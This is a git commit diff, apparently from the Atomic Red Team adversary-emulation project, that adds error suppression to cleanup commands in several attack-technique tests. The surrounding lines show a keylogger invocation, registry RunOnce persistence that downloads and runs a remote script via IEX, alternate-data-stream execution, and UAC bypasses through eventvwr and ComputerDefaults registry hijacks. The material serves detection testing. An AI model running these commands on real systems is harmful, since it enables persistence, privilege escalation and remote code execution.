T1056_T1090_CleanupErrors (#844)
This commit is contained in:
@@ -22,4 +22,4 @@ atomic_tests:
|
||||
Set-Location $PathToAtomicsFolder
|
||||
.\T1056\src\Get-Keystrokes.ps1 -LogPath #{filepath}
|
||||
cleanup_command: |
|
||||
Remove-Item $env:TEMP\key.log
|
||||
Remove-Item $env:TEMP\key.log -ErrorAction Ignore
|
||||
|
||||
@@ -53,4 +53,4 @@ atomic_tests:
|
||||
$RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
|
||||
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`")"'
|
||||
cleanup_command: |
|
||||
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force
|
||||
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force -ErrorAction Ignore
|
||||
|
||||
@@ -40,4 +40,4 @@ atomic_tests:
|
||||
command: |
|
||||
Compress-Archive -Path $PathToAtomicsFolder\T1074\bin\Folder_to_zip -DestinationPath $env:TEMP\Folder_to_zip.zip
|
||||
cleanup_command: |
|
||||
Remove-Item -Path $env:TEMP\Folder_to_zip.zip
|
||||
Remove-Item -Path $env:TEMP\Folder_to_zip.zip -ErrorAction Ignore
|
||||
|
||||
@@ -40,7 +40,7 @@ atomic_tests:
|
||||
cleanup_command: |
|
||||
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
|
||||
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
|
||||
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
|
||||
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
|
||||
|
||||
$FilterConsumerBindingToCleanup | Remove-WmiObject
|
||||
$EventConsumerToCleanup | Remove-WmiObject
|
||||
|
||||
@@ -245,4 +245,4 @@ atomic_tests:
|
||||
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
|
||||
Invoke-Expression $streamcommand
|
||||
cleanup_command: |
|
||||
Remove:Item #{ads_file}
|
||||
Remove-Item #{ads_file} -Force -ErrorAction Ignore
|
||||
|
||||
@@ -44,7 +44,7 @@ atomic_tests:
|
||||
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
|
||||
Start-Process "C:\Windows\System32\eventvwr.msc"
|
||||
cleanup_command: |
|
||||
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
|
||||
Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore
|
||||
|
||||
- name: Bypass UAC using Fodhelper
|
||||
description: |
|
||||
@@ -115,7 +115,7 @@ atomic_tests:
|
||||
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
|
||||
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
|
||||
cleanup_command: |
|
||||
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse
|
||||
Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction Ignore
|
||||
|
||||
- name: Bypass UAC by Mocking Trusted Directories
|
||||
description: |
|
||||
|
||||
Reference in New Issue
Block a user